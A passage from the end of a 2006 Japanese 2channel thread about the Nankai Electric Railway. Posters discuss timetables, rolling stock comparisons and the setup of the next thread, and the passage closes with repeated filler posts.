まあ1/hも無いかもしれないけれど

791 :名無し野電車区:2006/12/17(日) 00:42:13 ID:LBCL+aPn
元々時間帯による輸送量波動が大きいことは判っていたことだし、問題はないよ。

792 :名無し野電車区:2006/12/17(日) 00:48:15 ID:z5mQMbZe
あるよ・・・少しだが、そのスジを利用する空港関係者等から文句言われるから、
多少赤字でも少しは残しておかないと・・・

793 :名無し野電車区:2006/12/17(日) 00:49:56 ID:z5mQMbZe
おやすみ

794 :名無し野電車区:2006/12/17(日) 00:50:56 ID:X7bz0fF1
そういう需要も朝晩に集中してるんだよ。

795 :名無し野電車区:2006/12/17(日) 00:51:13 ID:gQHHPQsN
>>780
なんと言うか、ノスタルジックな感覚

796 :名無し野電車区:2006/12/17(日) 00:52:44 ID:gQHHPQsN
>>735
電気量なら出来る
運転士の研修代とか併結出来ない故のスジの改変とかは知らん

797 :名無し野電車区:2006/12/17(日) 00:54:24 ID:PIO+gkOU
>>780
何だか山手線の電車みたいだ。

でもセンスは良いね。

798 :名無し野電車区:2006/12/17(日) 00:54:47 ID:2WQ1CueI
泉大津の工事どこまで行ったよ?
高架見える?

799 :名無し野電車区:2006/12/17(日) 00:55:50 ID:gQHHPQsN
>>797
9000系・・・横浜線
2000系・・・埼京線
ってのは有名なお話(こじつけ)

800 :名無し野電車区:2006/12/17(日) 00:55:59 ID:TCnMPDCw
800ゲッツ

801 :名無し野電車区:2006/12/17(日) 00:56:23 ID:gQHHPQsN
>>798
企業秘密です。てか見てこいやぁ!

802 :名無し野電車区:2006/12/17(日) 00:56:57 ID:TCnMPDCw
>>798
見える とだけ言っておく

803 :名無し野電車区:2006/12/17(日) 00:58:44 ID:hfCDLauR
2000系もいいけど・・馴染みあるのは 1000>2000 だから複雑。。
昼間の本線通しの特急もサザンでなくて自由席特急がいいなwはっきり言ってザザンは指定席は金かかるしましてや昼間なんかに乗らない。自由席車も7000か7100しかないわけで面白くなく、何が来るかわからない自由席特急の方が面白い。
あとデータイムを過ぎれば2000はどう扱われるのかも気になる。ラピートもラッシュ時は泉佐野以南に進出とか!?

804 :名無し野電車区:2006/12/17(日) 01:01:05 ID:2WQ1CueI
ラピートなら毎年みさき公園まで乗り入れてらぁ

805 :名無し野電車区:2006/12/17(日) 01:03:40 ID:95gOcftH
>>787
ちょwww

806 :名無し野電車区:2006/12/17(日) 01:05:22 ID:TCnMPDCw
>>803
サザンが高いっつったってげろの半分ワンコインだで

807 :名無し野電車区:2006/12/17(日) 01:11:22 ID:TCnMPDCw
ちなみにこういう運用型の先輩格は終日分断
http://www.ekikara.jp/newdata/line/4002011/40202031/up-1_1.htm

808 :名無し野電車区:2006/12/17(日) 01:29:19 ID:gQHHPQsN
おやすみ

809 :名無し野電車区:2006/12/17(日) 01:38:26 ID:hfCDLauR
>>806 昼間だと高く感じる。全自特もあるから尚更。ラッシュ時にはワンコインしてでも乗りたい。

810 :名無し野電車区:2006/12/17(日) 01:51:34 ID:TCnMPDCw
http://uploader.onpuch.co.uk/img-box/img20061217013748a1f9a.jpg

811 :名無し野電車区:2006/12/17(日) 02:40:58 ID:YXjLmZjn
今ダイヤ作ってるんだろうなー
案だけど、ワンマン化と急行3本化 ラピーンが一本になって 高速観覧車が一分に60万回まわるってのはどう?

812 :名無し野電車区:2006/12/17(日) 02:50:57 ID:GMz96RlC
光速観覧車だ

813 :名無し野電車区:2006/12/17(日) 02:51:48 ID:X7bz0fF1
>>746
鉄道輸送を行う上での環境変化を早くから読み取ってきた電鉄だから
対策は次期改正で取りあえず完結するし、空港急行の増発は攻めそのものだろう。
車両新造やATSシステム変更など設備投資も本格化するし。

814 :名無し野電車区:2006/12/17(日) 05:10:30 ID:GMz96RlC
おはよう

815 :名無し野電車区:2006/12/17(日) 11:21:31 ID:bvTlTYXd
先日サザンに乗ったときも自由席車が7000系だったから、迷わず自由席車に乗ったよ。高速走行時の高音に萌えー

816 :名無し野電車区:2006/12/17(日) 11:24:03 ID:JKIYyvTR
ドヤ暴動に巻き込まれないように

817 :名無し野電車区:2006/12/17(日) 13:10:53 ID:I3Rcut5S
狭山事故の日,泉ヶ丘の自動アナウンスが
「まもなく2番線に,準急なんば行きが到着いたします…」でした。

初めて聞きました。(昔はそうだったかもしれませんが)
違和感が…。いや,そんなアナウンスも用意されていたのですね。

818 :名無し野電車区:2006/12/17(日) 13:38:19 ID:4yoHFg1b
>>817
両数指定を行ってない場合は、その放送が流れる。
その日、光明池のLEDが面白い表示をしていたな

819 :名無し野電車区:2006/12/17(日) 14:04:32 ID:5Xf6QA0V
てか、そろそろ種別・行き先・停車駅・両数・扉数の案内が欲しい

820 :817:2006/12/17(日) 14:55:24 ID:I3Rcut5S
>>818
どもです。
たしかにダイヤが乱れたときは何両か不明なときがありますから,
そうしているのでしょうね。
ぱたぱた案内では両数表示はされていませんでした。
中もずへ乗っていったので光明池の表示は見てないのですが,
どんなのだったのですか?

821 :名無し野電車区:2006/12/17(日) 15:32:12 ID:2WQ1CueI
>>819
発メロも

822 :名無し野電車区:2006/12/17(日) 15:36:30 ID:gQHHPQsN
着(ry

823 :堺・岸和田・泉佐野:2006/12/17(日) 15:41:07 ID:w0moQv7E
発車ブザーじゃだめですか?

824 :名無し野電車区:2006/12/17(日) 15:43:50 ID:gQHHPQsN
無理

825 :名無し野電車区:2006/12/17(日) 16:01:48 ID:95gOcftH
ブザーて

826 :名無し野電車区:2006/12/17(日) 17:16:05 ID:GMz96RlC
和大駅は学校のチャイムの音で発車ね

827 :名無し野電車区:2006/12/17(日) 17:27:08 ID:0+nl/ESd
LABI1なんばで、南海の高開きドア車を見かけるたび、南海の車両の更新の遅さに切なくなる。

828 :名無し野電車区:2006/12/17(日) 17:46:51 ID:95gOcftH
高開きって何

829 :名無し野電車区:2006/12/17(日) 17:48:59 ID:GMz96RlC
新種

830 :名無し野電車区:2006/12/17(日) 18:06:29 ID:zCimEQld
南海線で2000系が試運転を行い、JRは阪和線に321系が入線ですか…
今年度末〜来年度にかけて両線区とも車両の動きが活発になりそう。
1000系を約60両増備して確実に7000系は全廃だな。

831 :名無し野電車区:2006/12/17(日) 18:30:55 ID:th6PrHp3
ないないw

832 :名無し野電車区:2006/12/17(日) 18:34:38 ID:jgTi23DK
103系と7000系ってどっちが汚物なの?

833 :名無し野電車区:2006/12/17(日) 18:38:53 ID:lRnsOa7T
>>830
懸案だった7000・7100・2200系淘汰に着手らしいね。

834 :名無し野電車区:2006/12/17(日) 19:59:27 ID:61lqUksY
>>832
汚物は6200
それ以外は知らね

糞なのは105と7000

835 :名無し野電車区:2006/12/17(日) 20:00:29 ID:1/PzQ6Lq
wyxe
http://www.agui.net/imglog/06/img-box/img20061203154308.jpg
http://www.agui.net/imglog/06/img-box/img20061201212417.jpg

836 :名無し野電車区:2006/12/17(日) 20:31:55 ID:VTNvi4Zq
下既出だな

837 :名無し野電車区:2006/12/17(日) 20:41:34 ID:5Xf6QA0V
>>826
微妙だ

838 :名無し野電車区:2006/12/17(日) 20:55:20 ID:rPpse3WH
103に比べたら、6200の方が遥かにマシだ。

839 :名無し野電車区:2006/12/17(日) 21:42:15 ID:5Xf6QA0V
そうか?6200に轢かれたらミンチ確定だぜ?

840 :名無し野電車区:2006/12/17(日) 21:49:53 ID:GMz96RlC
そこかよw

841 :名無し野電車区:2006/12/17(日) 21:55:06 ID:o/TcJG9x
>>807
西鉄か!

842 :名無し野電車区:2006/12/17(日) 22:01:00 ID:KtVozZ9d
バスでは液晶媒体を使用している。電車でも使え。

843 :名無し野電車区:2006/12/17(日) 22:05:43 ID:VTNvi4Zq
ああ、使って欲しいもんだ。
が、おそらく次の新車には使わない。おそらくな。

844 :名無し野電車区:2006/12/17(日) 22:10:46 ID:IcSFrKvc
>>838
泉北3000に比べたらどっちもマシ

845 :名無し野電車区:2006/12/17(日) 22:11:35 ID:IcSFrKvc
wyxe
http://uploader.onpuch.co.uk/img-box/img20061217215343a337d.jpg

846 :名無し野電車区:2006/12/17(日) 22:13:18 ID:IcSFrKvc
wyxe
http://uploader.onpuch.co.uk/img-box/img20061217211649237e3.jpg

847 :名無し野電車区:2006/12/17(日) 22:19:12 ID:rPpse3WH
>>844
103系に比べたら、泉北3000系なんて随分ましな部類だぞ。
そんなもん。

848 :名無し野電車区:2006/12/17(日) 22:25:59 ID:UErKN7il
>>847
103系にはMT55の力がある

849 :名無し野電車区:2006/12/17(日) 22:28:36 ID:IcSFrKvc ?PLT(17450)
>>847
車内は103系のほうが数十倍いい

850 :名無し野電車区:2006/12/17(日) 22:30:27 ID:gE/RVCm/
>>845
キタ━━━(゚∀゚)━━━!!

851 :名無し野電車区:2006/12/17(日) 22:31:00 ID:2Z0hzwvS
南海の21m抵抗制御車はMB072-Bのパワーと、スッキリした車内の造作がある。

852 :名無し野電車区:2006/12/17(日) 22:32:50 ID:z5mQMbZe
泉北3000はスッキリしてないよ・・・
103系(緑壁)のほうがスッキリしてるよ・・・比較論だけど・・・

853 :名無し野電車区:2006/12/17(日) 22:35:07 ID:gQHHPQsN
スッキリはしてんだろwクソだけどw

854 :名無し野電車区:2006/12/17(日) 22:36:19 ID:p3n2wdfs
デコラや天井の処理は圧倒的な差がある。

>>851
MB3072-Bだな。

855 :名無し野電車区:2006/12/17(日) 22:44:53 ID:z5mQMbZe
>>854
そうかな・・・パイプはウザイけど圧倒的でもないでしょ。
それに、体質改善車相手ではね・・・某八以降にゃかなわんが

856 :名無し野電車区:2006/12/17(日) 22:48:05 ID:p3n2wdfs
あんなもん誤魔化し・まやかしのレベル。足回りを含め相手になりまへん。

857 :名無し野電車区:2006/12/17(日) 22:48:11 ID:hfCDLauR
関係ないけど高野線として進んでいるこのスレタイ、南海線の時は今宮戎・萩ノ茶屋は含んで進行してた?高野線として進んでいる今、起点は汐見橋から始めた方が区間も重複しなくてよかったんでは。

858 :名無し野電車区:2006/12/17(日) 22:49:00 ID:5Xf6QA0V
>>857
してねーからこうなった

859 :名無し野電車区:2006/12/17(日) 22:51:03 ID:z5mQMbZe
>>856
どの辺が誤魔化し?てか足回りの話なんかしてないよ・・・

860 :名無し野電車区:2006/12/17(日) 22:53:57 ID:2WQ1CueI
播但線体質改善103系の天井デザインは1000系に匹敵するため旧型では敵わない。
しかし本物の1000系に比べるとどことなーく足りない。

話は変わるが、やはり1201形の天井こそが最高であった。

861 :名無し野電車区:2006/12/17(日) 22:55:50 ID:jxIGoFnJ
調べてもわからなかったんで質問します
リンクの前に書いてある「wyxe」って何ですか?

862 :名無し野電車区:2006/12/17(日) 22:55:52 ID:gQHHPQsN
いや、やっぱし堺シャトルバスだろ。

863 :名無し野電車区:2006/12/17(日) 22:56:33 ID:gQHHPQsN
>>861
企業秘密です。

864 :名無し野電車区:2006/12/17(日) 22:58:07 ID:Zay8DdRo
>>860
新製当時の原設計は南海がイイ!に決まってるしな。

865 :名無し野電車区:2006/12/17(日) 22:58:56 ID:VTNvi4Zq
>>861
キーボード

866 :名無し野電車区:2006/12/17(日) 23:00:15 ID:2WQ1CueI
>>864
原設計はあまり気にしねー
1201は最初のがいいがw

867 :名無し野電車区:2006/12/17(日) 23:01:48 ID:z5mQMbZe
>>860
いやいや、そりゃ1000系とじゃランクが違う・・・

868 :名無し野電車区:2006/12/17(日) 23:03:17 ID:BI3mqxcW
そんな103系マンセーなら阪和線スレへ行きなよ。

869 :名無し野電車区:2006/12/17(日) 23:04:17 ID:2bgdtAJP
>>861
パソコンでお前の対極を表す言葉を平仮名で打ち込み、F9キーかF10キーを打て

870 :名無し野電車区:2006/12/17(日) 23:11:44 ID:sNbzDl+N
>>868
その通り。

871 :名無し野電車区:2006/12/17(日) 23:15:40 ID:hfCDLauR
>>861 wyxe−てんさい→転載 って事じゃないの?

872 :名無し野電車区:2006/12/17(日) 23:18:46 ID:jxIGoFnJ
>wyxe
 みなさんありがとうございました。謎が解けました。

873 :名無し野電車区:2006/12/17(日) 23:20:31 ID:z5mQMbZe
>>868
別に103系マンセーじゃないよ。あの頃製造の車両が嫌いなだけで。

874 :名無し野電車区:2006/12/17(日) 23:21:12 ID:GMz96RlC
ここでは7000アンチがデフォルトですよ?

875 :名無し野電車区:2006/12/17(日) 23:22:08 ID:Wa3VzyjA
勝手にデフォルトにすな。

876 :名無し野電車区:2006/12/17(日) 23:24:20 ID:5Xf6QA0V
俺から言えることは
南海9000>>>>>>>JR205
南海7100>>>>>JR103>>>JR105≧南海7000
南海6000>>>泉北3000

877 :名無し野電車区:2006/12/17(日) 23:27:52 ID:yFroGw+d
6000系に失礼

878 :名無し野電車区:2006/12/17(日) 23:32:17 ID:5Xf6QA0V
そうか
なら>>>>>>>>くらいか

879 :名無し野電車区:2006/12/17(日) 23:32:55 ID:1RDqhIsH
好みは各々自由だが、JRマンセーするなら別の場所でってことだろ。

880 :名無し野電車区:2006/12/17(日) 23:38:34 ID:z5mQMbZe
だから別にJRマンセーじゃねえ・・・なんであんな踏切狩りする会社を

881 :名無し野電車区:2006/12/17(日) 23:41:02 ID:gQHHPQsN
6200とか黒歴史だからな!

882 :名無し野電車区:2006/12/17(日) 23:41:56 ID:o/TcJG9x
踏切狩りってなんやねん

883 :名無し野電車区:2006/12/17(日) 23:53:51 ID:Oz+E/hxB
泉北7000>>>>>>>水鉄7000改>>>>>>>>>>>>>南海7000

884 :名無し野電車区:2006/12/17(日) 23:55:52 ID:gQHHPQsN
>>883
壁が二つほど足りないな。

885 :名無し野電車区:2006/12/17(日) 23:57:46 ID:95gOcftH
こうだろ
モ351>>>>>>>>>>>>>>>>>>>>103・7000

886 :名無し野電車区:2006/12/17(日) 23:58:49 ID:KtVozZ9d
ええいうるさい!

887 :名無し野電車区:2006/12/17(日) 23:59:59 ID:VTNvi4Zq
>>885
なんだっけそれ

888 :名無し野電車区:2006/12/17(日) 23:59:59 ID:aFTEr3pm
たぶん888

889 :名無し野電車区:2006/12/18(月) 00:00:20 ID:yVEbv7C0


890 :名無し野電車区:2006/12/18(月) 00:00:39 ID:Wsf9JKNn
おめ

891 :名無し野電車区:2006/12/18(月) 00:01:10 ID:72k4N3Ag
キタ━━━ヽ(∀゚ )人(゚∀゚)人( ゚∀)ノ━━━ !!!

892 :名無し野電車区:2006/12/18(月) 00:02:01 ID:gQHHPQsN
>>887
モ501だよ、きっと

893 :名無し野電車区:2006/12/18(月) 00:03:02 ID:5Xf6QA0V
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24)
●BC○BBDCBBC○B◎◎C◎◎BC○○B○BB◎◎(27)
タイ記録キタ━━━ヽ( ゚∀)人( ゚∀゚)人(゚∀゚)人(゚∀゚ )人(∀゚ )ノ━━━ !!!

894 :名無し野電車区:2006/12/18(月) 00:04:17 ID:yVEbv7C0
お前らあんまり釣り掛け空気バネの究極の路面電車嘗めんなよ

895 :名無し野電車区:2006/12/18(月) 00:06:26 ID:gQHHPQsN
ネタだろ

896 :名無し野電車区:2006/12/18(月) 00:07:04 ID:xdIiltjR
つまりネタ車両な

897 :名無し野電車区:2006/12/18(月) 00:08:26 ID:GMz96RlC
うるせー205のがよっぽどネタだ

898 :名無し野電車区:2006/12/18(月) 00:15:01 ID:vDc9dCDR
一番のネタは、
いつの間にか現れ彗星のごとく消え去っていった2051系

899 :名無し野電車区:2006/12/18(月) 00:18:18 ID:IfizvL97
ところで新スレのスレタイはどうすんの?

900 :名無し野電車区:2006/12/18(月) 00:19:15 ID:vDc9dCDR
次は【←天下茶屋】南海電気鉄道スレッドNa91【⇒帝塚山】
なので収まる。

てかまだ速いだろ。明朝以降か。

901 :名無し野電車区:2006/12/18(月) 00:19:24 ID:yVEbv7C0
900

902 :名無し野電車区:2006/12/18(月) 00:20:10 ID:yVEbv7C0
ミスったorz

903 :名無し野電車区:2006/12/18(月) 00:22:35 ID:IfizvL97
そ、か

904 :名無し野電車区:2006/12/18(月) 00:27:02 ID:Nay8UCfd
酉おめ

ってか流れ速いな・・・

905 :名無し野電車区:2006/12/18(月) 00:27:41 ID:vDc9dCDR
大半がくだらねーけどな

906 :名無し野電車区:2006/12/18(月) 00:33:42 ID:xdIiltjR
今気づいたぞ

>>846は改札機調整中だ!

907 :名無し野電車区:2006/12/18(月) 00:35:29 ID:vDc9dCDR
何を今更

908 :名無し野電車区:2006/12/18(月) 00:40:06 ID:mpZTg272
近鉄7000系:けいはんな線で活躍する近鉄のホープ
名鉄7000系:元祖パノラマカー
泉北7000系:泉北高速鉄道が誇るハイクォリティマシン
京阪7000系:京阪電車の新時代を拓いた車両
小田急7000系:Luxury Super Express

南海7000系:    ・・・・orz


909 :名無し野電車区:2006/12/18(月) 00:45:39 ID:vDc9dCDR
東急7000系:オールステンレスの始祖三兄弟が一つ
阪急7000系:阪急初のチョッパ制御による高性能車
西鉄7000形:久留米以南の車両大幅若返りの立役者
JR四国7000系:四国近代化を果たした高性能気動車
智頭急行HOT7000系:神

910 :名無し野電車区:2006/12/18(月) 00:47:22 ID:xdIiltjR
こうしてみるとすげーな

911 :名無し野電車区:2006/12/18(月) 00:48:09 ID:IfizvL97
水鉄7000系:超進化

912 :名無し野電車区:2006/12/18(月) 00:49:29 ID:Ux6jd4Mc
登場したときは南海7000系こそ、大手他社の同世代と比較しても
遜色ないどころか安定したハイスペック通勤車だったんだけど…

913 :名無し野電車区:2006/12/18(月) 00:51:27 ID:Nay8UCfd
だが同社内の6000系に敵わない
当時の台車だけじゃん、他は全部・・・

914 :名無し野電車区:2006/12/18(月) 00:54:05 ID:vDc9dCDR
こうか。
台車・・・モ501の後追い
車体・・・6000の劣化バージョン
デザイン・・・1521の後追い
その後の活躍・・・7100系の登場後はハズレ扱い

915 :名無し野電車区:2006/12/18(月) 00:57:00 ID:Dqi6xhuW
>>909
おいおい、JR四国の7000は電車だぞ
気動車なのは10000

916 :名無し野電車区:2006/12/18(月) 00:58:07 ID:So5vvvDA
1000形ですな。

917 :名無し野電車区:2006/12/18(月) 00:58:54 ID:vDc9dCDR
>>915
おいおい、JR四国の気動車は1000だぞ
10000なんていない

918 :名無し野電車区:2006/12/18(月) 00:59:35 ID:siEvBHHi
>>917
ツンデレwww

919 :名無し野電車区:2006/12/18(月) 01:01:44 ID:Nay8UCfd
そういえば、鹿島にも7000がいたなぁ

920 :名無し野電車区:2006/12/18(月) 01:04:33 ID:72k4N3Ag
そろそろ新スレいっていい?

921 :名無し野電車区:2006/12/18(月) 01:05:02 ID:vDc9dCDR
まあ、いいかな

922 :名無し野電車区:2006/12/18(月) 01:05:04 ID:So5vvvDA
まだ。970以降。

923 :名無し野電車区:2006/12/18(月) 01:05:43 ID:xdIiltjR
スレタイは変えないこと

924 :名無し野電車区:2006/12/18(月) 01:06:46 ID:yVEbv7C0
930行くまで待て。
そんでから勝手にスレタイ変えたら荒れるから気ィ付けや。

925 :名無し野電車区:2006/12/18(月) 01:07:33 ID:xdIiltjR
>>919
はまなすですか

926 :名無し野電車区:2006/12/18(月) 01:08:31 ID:Lr5wZ7Ys
950超えてからでええよ。鬱陶しい。

927 :名無し野電車区:2006/12/18(月) 01:09:26 ID:r/HizOME
IGRの7000系は701系だからクソ

928 :名無し野電車区:2006/12/18(月) 01:10:09 ID:yVEbv7C0
IGR?

929 :これでいい?:2006/12/18(月) 01:12:26 ID:72k4N3Ag
スレタイ:【←天下茶屋】南海電気鉄道スレッドNa91【⇒帝塚山】
名前:岸里玉出

930 :名無し野電車区:2006/12/18(月) 01:12:39 ID:yVEbv7C0
ああ、いわて銀河鉄道か。あれも7000系か。

931 :これでいい?:2006/12/18(月) 01:13:22 ID:72k4N3Ag
本文:
大手私鉄の一つ、大阪は難波と泉州・和歌山・高野山・関空を結ぶ日本最古の私鉄、南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。
なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけ下さい。荒らしは放置。煽り厳禁!

聞き分けの無い珍作さんとそれを煽る厨は出てきても(・∀・)ニヤニヤ笑いながら出来たら無視しましょう。
どうせ珍作さんはコピペばかりで似たような事しか言いません。

ガイドラインを守りたくない人は新規にスレを立てて下さいね。立てないなら荒らすな。
流行語3語と成分分析の使いすぎには注意しようね。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら無視しましょう。
次スレ立てる時は>>900以降、相談してからね。

主なガイドライン(お約束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。

南海スレ@まとめサイト
http://plaza.rakuten.co.jp/nankai2ch/
ローカルルール
http://plaza.rakuten.co.jp/nankai2ch/2003
http://plaza.rakuten.co.jp/nankai2ch/2004
http://plaza.rakuten.co.jp/nankai2ch/2005

投票
http://multianq.uic.to/mesganq.cgi?room=nankai
http://multianq.uic.to/mesganq.cgi?room=nankaianti
難解な解析機
http://seibun.nosv.org/maker.php/shukuin/

避難所
http://jbbs.livedoor.jp/auto/498/
前スレ 【←萩茶】南海電気鉄道スレッドNa90【⇒岸玉】
http://hobby7.2ch.net/test/read.cgi/rail/1165588678/l50

932 :名無し野電車区:2006/12/18(月) 01:13:25 ID:yVEbv7C0
あ、割り込みスマン

933 :名無し野電車区:2006/12/18(月) 01:14:40 ID:vDc9dCDR
>>929>>931
おkおk

934 :名無し野電車区:2006/12/18(月) 01:15:44 ID:vDc9dCDR
>>927
701系はなぁ・・・ロングシートっつーより、やっつけのエクステリアが気にいらねえなあ

935 :名無し野電車区:2006/12/18(月) 01:17:43 ID:IfizvL97
IRGだと思っていた。てか確か塗装が(ry

936 :名無し野電車区:2006/12/18(月) 01:19:17 ID:vDc9dCDR
いわて・リアル・ゲイ か?

塗装については何にでも言える罠。

937 :名無し野電車区:2006/12/18(月) 01:22:29 ID:yVEbv7C0
SATはともかくIGRは別に似てない。
という意味とは違うのか?

938 :名無し野電車区:2006/12/18(月) 01:24:09 ID:IfizvL97
えーと。そういう意味かな

939 :名無し野電車区:2006/12/18(月) 01:27:31 ID:hEppRL4z
ソウル地下鉄7000系はどうよw

940 :名無し野電車区:2006/12/18(月) 01:28:24 ID:vDc9dCDR
詳細を企業秘密以外で

941 :名無し野電車区:2006/12/18(月) 01:29:59 ID:hEppRL4z
http://www.2427junction.com/koreaseoul07.html

942 :名無し野電車区:2006/12/18(月) 01:30:53 ID:vDc9dCDR
うわびみょー(;^ω^)

943 :名無し野電車区:2006/12/18(月) 01:31:38 ID:72k4N3Ag
そろそろ行って来ます

944 :名無し野電車区:2006/12/18(月) 01:33:27 ID:72k4N3Ag
無理でしたorz

945 :名無し野電車区:2006/12/18(月) 01:46:50 ID:Mw6B43NG
まぁ焦るなよ。本来は975以降なんだから。

946 :名無し野電車区:2006/12/18(月) 01:49:17 ID:vDc9dCDR
>>945
それどこのスレやねん

947 :名無し野電車区:2006/12/18(月) 01:49:17 ID:yVEbv7C0
うはwww立ったwww

【←天下茶屋】南海電気鉄道スレッドNa91【⇒帝塚山】
http://hobby7.2ch.net/test/read.cgi/rail/1166373970/

948 :名無し野電車区:2006/12/18(月) 01:50:09 ID:Nay8UCfd
キタ━━(゚∀゚)━━!!

949 :名無し野電車区:2006/12/18(月) 01:50:28 ID:vDc9dCDR
950

950 :名無し野電車区:2006/12/18(月) 01:50:42 ID:Mw6B43NG
>>946
他所は大体そんなもんだぞ。

951 :名無し野電車区:2006/12/18(月) 01:54:47 ID:vDc9dCDR
>>950
そうなのか?
西武スレなんて900踏んだ奴が立ててたような・・・

952 :名無し野電車区:2006/12/18(月) 01:55:36 ID:r/HizOME
本来を追求するだけなら新スレは1001以上なんだけどな。
まあ立ったからにはよいではないか。

953 :名無し野電車区:2006/12/18(月) 01:58:34 ID:siEvBHHi
京阪スレのpart25⇒26がベスト

954 :名無し野電車区:2006/12/18(月) 02:01:01 ID:mpZTg272
粉浜が無視された・・・・・orz

955 :名無し野電車区:2006/12/18(月) 02:01:27 ID:hEppRL4z
総武本線スレの新スレも立ってないしなwww
でもまあ立てるのは平均かちょっと速いくらいだろ、めちゃくちゃ速いのは埋め立て。

956 :名無し野電車区:2006/12/18(月) 02:02:52 ID:vDc9dCDR
>>954
既に経由済みである。
今回は今宮戎・萩ノ茶屋を経由しなかったため難波〜岸里玉出が二週目なだけ。

957 :名無し野電車区:2006/12/18(月) 02:05:42 ID:mpZTg272
>>956
次回の住吉東で我慢しまつ
(o;ω;o)ウゥ・・・

958 :名無し野電車区:2006/12/18(月) 02:10:03 ID:xdIiltjR
あーもううるっさい奴だな、ホレ!
http://hobby7.2ch.net/test/read.cgi/rail/1110962185/

959 :名無し野電車区:2006/12/18(月) 02:10:56 ID:xdIiltjR
>>941
前面ステンレスがベッコンベッコンやな...

960 :名無し野電車区:2006/12/18(月) 02:13:36 ID:r/HizOME
扉の模様にも注目

961 :名無し野電車区:2006/12/18(月) 02:15:07 ID:siEvBHHi
さぁ、そろそろ例の時期だぜ・・・

962 :名無し野電車区:2006/12/18(月) 02:18:14 ID:Nay8UCfd
 

963 :名無し野電車区:2006/12/18(月) 02:18:53 ID:Nay8UCfd
 

964 :名無し野電車区:2006/12/18(月) 02:19:33 ID:Nay8UCfd
 

965 :名無し野電車区:2006/12/18(月) 02:20:10 ID:Nay8UCfd
 

966 :名無し野電車区:2006/12/18(月) 02:22:21 ID:vDc9dCDR
ニトリ

967 :名無し野電車区:2006/12/18(月) 02:22:51 ID:vDc9dCDR
ってミスったorz
埋めよ・・・

968 :名無し野電車区:2006/12/18(月) 02:24:26 ID:xdIiltjR
>>966
http://blog-imgs-1.fc2.com/i/m/i/imihu/1151252373805.jpg

969 :名無し野電車区:2006/12/18(月) 02:26:55 ID:siEvBHHi
さて行くか・・・
光速観覧車

970 :名無し野電車区:2006/12/18(月) 02:27:06 ID:xdIiltjR
光速観覧車ラピーン号

971 :名無し野電車区:2006/12/18(月) 02:27:57 ID:siEvBHHi
光速観覧車

972 :名無し野電車区:2006/12/18(月) 02:28:44 ID:siEvBHHi
光速観覧車

973 :名無し野電車区:2006/12/18(月) 02:29:22 ID:siEvBHHi
光速観覧車

974 :名無し野電車区:2006/12/18(月) 02:30:45 ID:xdIiltjR
光速観覧車ぁー

975 :名無し野電車区:2006/12/18(月) 02:33:05 ID:r/HizOME
光速観覧車

976 :名無し野電車区:2006/12/18(月) 02:33:52 ID:r/HizOME
光速観覧車

977 :名無し野電車区:2006/12/18(月) 02:33:54 ID:xdIiltjR
光速観覧車

978 :名無し野電車区:2006/12/18(月) 02:34:05 ID:hEppRL4z
光速観覧車

979 :名無し野電車区:2006/12/18(月) 02:34:40 ID:r/HizOME
光速観覧車

980 :名無し野電車区:2006/12/18(月) 02:34:49 ID:xdIiltjR
光速観覧車

981 :名無し野電車区:2006/12/18(月) 02:34:58 ID:hEppRL4z
光速観覧車

982 :名無し野電車区:2006/12/18(月) 02:35:15 ID:r/HizOME
光速観覧車

983 :名無し野電車区:2006/12/18(月) 02:35:27 ID:IfizvL97
光速観覧車

984 :名無し野電車区:2006/12/18(月) 02:35:36 ID:SP2MZUQu
光速観覧車

985 :名無し野電車区:2006/12/18(月) 02:35:46 ID:r/HizOME
光速観覧車

986 :名無し野電車区:2006/12/18(月) 02:35:58 ID:hEppRL4z
光速観覧車

987 :名無し野電車区:2006/12/18(月) 02:36:08 ID:siEvBHHi
光速観覧車

988 :名無し野電車区:2006/12/18(月) 02:36:21 ID:IfizvL97
光速

989 :名無し野電車区:2006/12/18(月) 02:36:49 ID:vDc9dCDR
【←天下茶屋】南海電気鉄道スレッドNa91【⇒帝塚山】
http://hobby7.2ch.net/test/read.cgi/rail/1166373970/

990 :名無し野電車区:2006/12/18(月) 02:36:59 ID:IfizvL97
光速観覧車

991 :名無し野電車区:2006/12/18(月) 02:37:27 ID:yVEbv7C0
いやほうぅ

992 :名無し野電車区:2006/12/18(月) 02:37:48 ID:hEppRL4z
光速観覧車

993 :名無し野電車区:2006/12/18(月) 02:38:14 ID:qmSdqf+y
光速観覧車

994 :名無し野電車区:2006/12/18(月) 02:38:31 ID:vDc9dCDR
【←天下茶屋】南海電気鉄道スレッドNa91【⇒帝塚山】
http://hobby7.2ch.net/test/read.cgi/rail/1166373970/

995 :名無し野電車区:2006/12/18(月) 02:39:31 ID:Nay8UCfd
 

996 :名無し野電車区:2006/12/18(月) 02:40:16 ID:Nay8UCfd
 

997 :名無し野電車区:2006/12/18(月) 02:40:46 ID:IfizvL97
光速観覧車

998 :名無し野電車区:2006/12/18(月) 02:40:56 ID:hEppRL4z
光速観覧車

999 :名無し野電車区:2006/12/18(月) 02:41:09 ID:vDc9dCDR
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http://hobby7.2ch.net/test/read.cgi/rail/1166373970/

1000 :名無し野電車区:2006/12/18(月) 02:41:09 ID:yVEbv7C0


1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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